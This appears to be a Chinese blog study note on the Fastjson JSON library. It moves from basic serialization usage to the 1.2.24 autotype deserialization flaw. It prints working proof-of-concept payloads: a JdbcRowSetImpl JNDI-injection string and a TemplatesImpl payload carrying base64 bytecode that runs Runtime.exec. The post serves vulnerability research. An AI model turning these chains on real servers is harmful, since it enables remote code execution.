Fastjson学习
JSON: JavaScript Object Notation(对象表示法),js对象简谱,是一种轻量级的数据交换格式.
Fastjson优点:速度快,使用广泛,测试完备,使用简单,功能完备
环境搭建
导入依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.70</version>
</dependency>
Json数据格式
Json数组
中扩号包裹,数组的元素之间逗号分开,数组元素类型没有数据类型限制
例子:
<script type="text/javascript">
var jsonArray = ["m1","m2",99,9.9,true];
for ( i=0 ; i<jsonArray.length; i++){
console.log(jsonArray[i]);
}
</script>
Json对象
大括号包裹,定义为键值对,键必须上字符串类型,值对数据类型不限制,键与值之间为冒号分开,键值对之间为逗号分开
例子:
<script type="text/javascript">
var jsonObject = {"m1":99,"m2":9.9,"m3":true,"m4":"who are you?"};
console.log(jsonObject.m1);
console.log(jsonObject.m2);
console.log(jsonObject.m3);
console.log(jsonObject.m4);
</script>
数组和对象可以互相嵌套
Fastjson常用序列化API
Java对象与Json字符串相互转换
JSON.toJSONString:支持将Java基本类型和JavaBean转换成jsonString;
JSON.parseObject:支持将json类型的String转换成T类型的对象;
测试类
import com.oracle.webservices.internal.api.databinding.DatabindingMode;
public class Student {
public int id;
public String name;
public int age;
public void setId(int i) {
this.id = i;
}
public void setName(String m1) {
this.name = m1;
}
public void setAge(int i) {
this.age = i;
}
}
import com.alibaba.fastjson.JSON;
public class FastjsonTest {
public static void main(String[] args) {
display();
}
public static void display(){
Student student = new Student();
student.setId(1);
student.setName("m1");
student.setAge(6);
String s = JSON.toJSONString(student);
System.out.println(s);
System.out.println("=============================================");
Student student1 = JSON.parseObject(s, Student.class);
System.out.println(student1);
}
}
输出
List与Json字符串相互转换
JSON.toJSONString:支持将Java基本类型和JavaBean转换成jsonString;
JSON.parseArray:将json字符串转换成一个一个的实体类,存到List集合中;
import com.alibaba.fastjson.JSON;
import java.util.ArrayList;
import java.util.List;
public class FastjsonTest {
public static void main(String[] args) {
testListJson();
}
public static void testListJson(){
List<Student> list = new ArrayList<Student>();
Student student1 = new Student();
student1.setId(1);
student1.setName("m1");
student1.setAge(6);
Student student2 = new Student();
student2.setId(2);
student2.setName("m2");
student2.setAge(7);
list.add(student1);
list.add(student2);
String s = JSON.toJSONString(list);
System.out.println(s);
System.out.println("==============================");
List<Student> students = JSON.parseArray(s, Student.class);
for (Student student : students) {
System.out.println(student);
}
}
}
Map与Json字符串互相转换
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class FastjsonTest {
public static void main(String[] args) {
testListJson();
}
public static void testListJson(){
Map<String,Student> map =new HashMap<String,Student>();
Student student1 = new Student();
student1.setId(1);
student1.setName("m1");
student1.setAge(6);
Student student2 = new Student();
student2.setId(2);
student2.setName("m2");
student2.setAge(7);
map.put("student1",student1);
map.put("student2",student2);
String s = JSON.toJSONString(map);
System.out.println(s);
System.out.println("==============================");
Map<String,Student> jsonObject = (Map) JSON.parseObject(s);
for (String key:jsonObject.keySet()){
System.out.println(key+":"+jsonObject.get(key));
}
}
}
SerializerFeature枚举
可以在进行序列化时,自己定义特殊需求
JSON的静态方法:toJSONString()
方法参数:第一个为需要序列化的对象,第二个为SerializerFeature枚举类型的可变参数
SerializerFeature枚举的常量,可以通过我们进行个性修改
SerializerFeature属性
QuoteFieldNames 输出key时是否使用双引号,默认为true
UseSingleQuotes 使用单引号而不是双引号,默认为false
WriteMapNullValue 是否输出值为null的字段,默认为false
WriteEnumUsingToString Enum输出name()或者original,默认为false
UseISO8601DateFormat Date使用ISO8601格式输出,默认为false
WriteNullListAsEmpty List字段如果为null,输出为[],而非null
WriteNullStringAsEmpty 字符类型字段如果为null,输出为”“,而非null
WriteNullNumberAsZero 数值字段如果为null,输出为0,而非null
WriteNullBooleanAsFalse Boolean字段如果为null,输出为false,而非null
SkipTransientField 如果是true,类中的Get方法对应的Field是transient,序列化时将会被忽略。默认为true
SortField 按字段名称排序后输出。默认为false
WriteTabAsSpecial 把\t做转义输出,默认为false 不推荐
PrettyFormat 结果是否格式化,默认为false
WriteClassName 序列化时写入类型信息,默认为false。反序列化是需用到
DisableCircularReferenceDetect 消除对同一对象循环引用的问题,默认为false
WriteSlashAsSpecial 对斜杠’/’进行转义
BrowserCompatible 将中文都会序列化为\uXXXX格式,字节数会多一些,但是能兼容IE 6,默认为false
WriteDateUseDateFormat 全局修改日期格式,默认为false。JSON.DEFFAULT_DATE_FORMAT = “yyyy-MM-dd”;JSON.toJSONString(obj, SerializerFeature.WriteDateUseDateFormat);
DisableCheckSpecialChar 一个对象的字符串属性中如果有特殊字符如双引号,将会在转成json时带有反斜杠转移符。如果不需要转义,可以使用这个属性。默认为false
NotWriteRootClassName 含义
BeanToArray 将对象转为array输出
WriteNonStringKeyAsString 含义
NotWriteDefaultValue 含义
BrowserSecure 含义
IgnoreNonFieldGetter 含义
WriteEnumUsingName 含义
JSonFied注解
该注解用于方法上,字段和参数上,都可在序列化和反序列化时进行特性定制
FastJson中的注解@JSONField,一般作用在get/set方法上面,常用的使用场景有下面三个:
修改和json字符串的字段映射【name】
格式化数据【format】
过滤掉不需要序列化的字段【serialize】
源码如下
JSonType注解
放在实体类上就会只装配列举的字段或者排除列举的成员变量
属性
includes 要被序列化的字段
orders 要被序列化的顺序
serialzeFeatures 序列化时特性定义
源码
FastJson序列化的安全问题
FastJson 利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的 API 有两个,分别是JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject来获取数据,使用SerializerFeature.WriteClassName 时 会在序列化中写入当前的 type, @type 可以指定反序列化任意类,调用其 set,get,is 方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成 RCE的问题
但是由于1.2.25 及之后的版本,fastjson 禁用了部分 autotype 的功能,也就是”@type” 这种指定类型的功能会被限制在一定范围内使用。所以需要我们主动增加白名单。
简单例子
创建一个User类
package test;
public class User {
private String name;
private int id;
public User(){
System.out.println("无参构造");
}
public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}
public String getName() {
System.out.print("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getId() {
System.out.println("getId");
return id;
}
public void setId(int id) {
System.out.println("setId");
this.id = id;
}
}
然后是我们的测试类
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonTest {
public static void main(String[] args) {
/*User user = new User("xu",12);
String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json);*/
String s = "{\"@type\":\"test.User\",\"id\":12,\"name\":\"xu\"}";
User user = JSON.parseObject(s, User.class);
}
}
可以看见通过JSON.parseObject来反序列化(不同于原生的反序列化),再结合@type 可以指定反序列化任意类时都会调用set方法,如果一个类满足set方法里面有我们可以操作的空间,那就可以导致反序列化漏洞的产生。
1.2.24
JdbcRowSetImpl链子
com.sun.rowset.JdbcRowSetImpl中的dataSourceName属性 寻找他的setAutoCommit方法
而this.conn在构造函数中初始为null
所以走到this.conn为null的时候会进入到this.connect()中,继续跟进可以看见var1.lookup()经典的JNDI注入
且DataSourceName也可通过Josn格式可控
所以本地起个rmi或者ladp服务
java -jar JNDI.jar -C "open -a Calculator.app" -A 127.0.0.1
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.rowset.JdbcRowSetImpl;
public class FastjsonTest {
public static void main(String[] args) {
/*User user = new User("xu",12);
String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json);*/
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/xo26de\",\"autoCommit\":true}";
/*JSON.parse(s);*/
JdbcRowSetImpl jdbcRowSet = JSON.parseObject(s, JdbcRowSetImpl.class);
}
}
TemplatesImpl
这条链子就是之前的动态加载字节码的链子,具体可以看看:http://blog.m1kael.cn/index.php/archives/574/,再来调一遍,因为要用到的变量都是private的,需要在反序列化时加Feature.SupportNonPublicField参数
TemplatesImpl的getOutputProperties方法,它是_outputProperties的getter方法
继续跟进,在newTransformerImpl对象时会进入到getTransletInstance()中
跟进getTransletInstance()
这里就有加载字节码,我们写一个exp
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class exp extends AbstractTranslet {
public exp() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}
public static void main(String[] args) throws IOException {
exp exp = new exp();
}
}
Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串,这里还用到了另一个功能点就是因为最后payload为byte[],所以生成的class文件用base64编码
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonTest {
public static void main(String[] args) {
String a ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMdGVzdC9leHA7AQAKRXhjZXB0aW9ucwcAKwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAANleHABAApTb3VyY2VGaWxlAQAIZXhwLmphdmEMAAgACQcALQwALgAvAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAMAAxAQAIdGVzdC9leHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parse(a, Feature.SupportNonPublicField);
}
}
其他版本的poc可以网上找一找:https://mp.weixin.qq.com/s/lGTYslO-EtLIZZf6QCfiQw
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!